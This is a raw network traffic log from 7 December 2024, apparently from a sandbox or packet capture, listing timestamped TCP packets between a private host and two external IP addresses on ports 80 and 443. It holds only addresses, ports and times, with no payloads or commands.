Dec 7, 2024 15:06:16.057787895 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.057801962 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.057852030 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.064161062 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.064218998 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.064260006 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.064315081 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.070743084 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.070763111 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.070832014 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.085959911 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.086020947 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.086030960 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.086064100 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.087477922 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.087531090 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.087579966 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.087629080 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.092809916 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.092871904 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.092926979 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.092977047 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.098131895 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.098190069 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.098221064 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.098278046 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.099701881 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.102564096 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.103508949 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.103566885 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.103596926 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.103645086 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.106792927 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.106888056 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.106961012 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.110268116 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.110337019 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.110371113 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.110413074 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.113406897 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.113496065 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.113547087 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.113590956 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.116745949 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.116849899 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.116919994 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.120059013 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.120111942 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.120167017 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.120215893 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.123358011 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.123490095 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.123554945 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.126713037 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.126815081 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.126864910 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.129983902 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.131732941 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.146395922 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.146452904 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.146511078 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.148091078 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.148205042 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.148260117 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.150620937 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.150690079 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.150757074 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.150810003 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.153917074 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.153985977 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.154062986 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.154119015 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.157289028 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.157352924 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.157382011 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.157426119 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.213465929 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.213572025 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.213582993 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.213618994 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.215156078 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.215217113 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.215229988 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.215261936 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.218317032 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.218385935 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.218430042 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.218492985 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.221539021 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.221600056 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.221683979 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.221735001 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.224402905 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.224486113 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.224553108 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.224773884 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.224833965 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.227447987 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.227552891 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.230779886 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.230792999 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.230858088 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.232933044 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.233026028 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.277940989 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.277971029 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.278044939 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.278886080 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.278944969 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.279019117 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.279076099 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.280807972 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.280844927 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.280874014 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.280886889 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.282603025 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.282660007 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.282700062 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.282747030 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.284615993 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.284667015 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.284749985 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.284796953 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.286444902 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.286495924 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.286623001 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.286670923 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.288348913 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.288400888 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.288523912 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.288583994 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.290240049 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.290292978 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.290364027 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.290431976 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.292167902 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.292217970 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.292289019 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.292339087 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.294064045 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.294116020 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.294200897 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.294253111 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.296015024 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.296067953 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.296103954 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.296154022 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.297882080 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.297939062 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.297996998 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.298043966 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.299825907 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.299882889 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.299968004 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.300018072 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.301815987 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.301867008 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.301943064 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.301991940 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.303667068 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.303715944 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.303767920 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.303816080 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.305628061 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.305677891 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.305679083 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.305746078 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.307487965 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.307537079 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.307615995 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.307667017 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.309398890 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.309449911 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.309520006 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.309566975 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.311273098 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.311331987 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.311363935 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.311410904 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.313271999 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.313328981 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.313347101 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.313395023 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.315129042 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.315181971 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.315268040 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.315321922 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.317003965 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.317059040 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.317105055 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.317148924 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.318919897 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.318977118 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.319037914 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.319111109 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.320843935 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.320900917 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.320949078 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.320997000 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.322750092 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.322803020 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.322871923 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.322926998 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.324610949 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.324670076 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.337614059 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.337709904 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.337716103 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.337763071 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.338577032 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.338640928 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.338680983 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.338726044 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.340503931 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.340565920 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.340579987 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.340626001 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.342430115 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.342489958 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.342519999 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.342567921 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.344358921 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.344408989 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.344481945 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.344531059 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.346307993 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.346328974 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.346362114 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.346421003 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.348108053 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.348165035 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.348211050 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.348263025 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.350087881 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.350106955 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.350162983 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.351917982 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.351986885 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.351988077 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.352036953 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.353866100 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.353943110 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.353964090 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.359493971 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.405670881 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.405709028 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.405750036 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.405766964 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.406495094 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.406552076 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.406594992 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.406645060 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.408457041 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.408513069 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.408548117 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.408600092 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.410331964 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.410387039 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.410429955 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.410478115 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.412225008 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.412269115 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.412281036 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.412322044 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.414156914 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.414215088 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.414252043 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.414311886 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.416074038 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.416126966 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.416160107 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.416210890 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.418087959 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.418106079 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.418135881 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.418154955 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.419908047 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.419965982 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.422585011 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.425642967 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.469933033 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.470030069 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.470057964 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.470104933 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.470563889 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.470618010 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.470711946 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.470762014 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.471875906 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.471925974 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.472007036 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.472055912 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.473206997 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.473259926 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.473332882 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.473382950 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.474535942 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.474596024 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.474631071 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.474684000 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.475866079 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.475918055 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.476006031 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.476054907 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.477140903 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.477191925 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.477199078 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.477247000 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.478445053 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.478497028 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.478564024 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.478611946 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.479743004 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.479801893 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.479861021 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.479913950 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.481034040 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.481086016 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.481154919 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.481203079 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.482378006 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.482436895 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.482481956 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.482528925 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.483643055 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.483699083 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.483829975 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.483881950 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.484977007 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.485028982 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.485074997 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.485126019 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.486238956 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.486289024 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.486341000 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.486391068 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.487574100 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.487626076 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.487680912 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.487731934 CET	49706	80	192.168.2.8	185.215.113.206
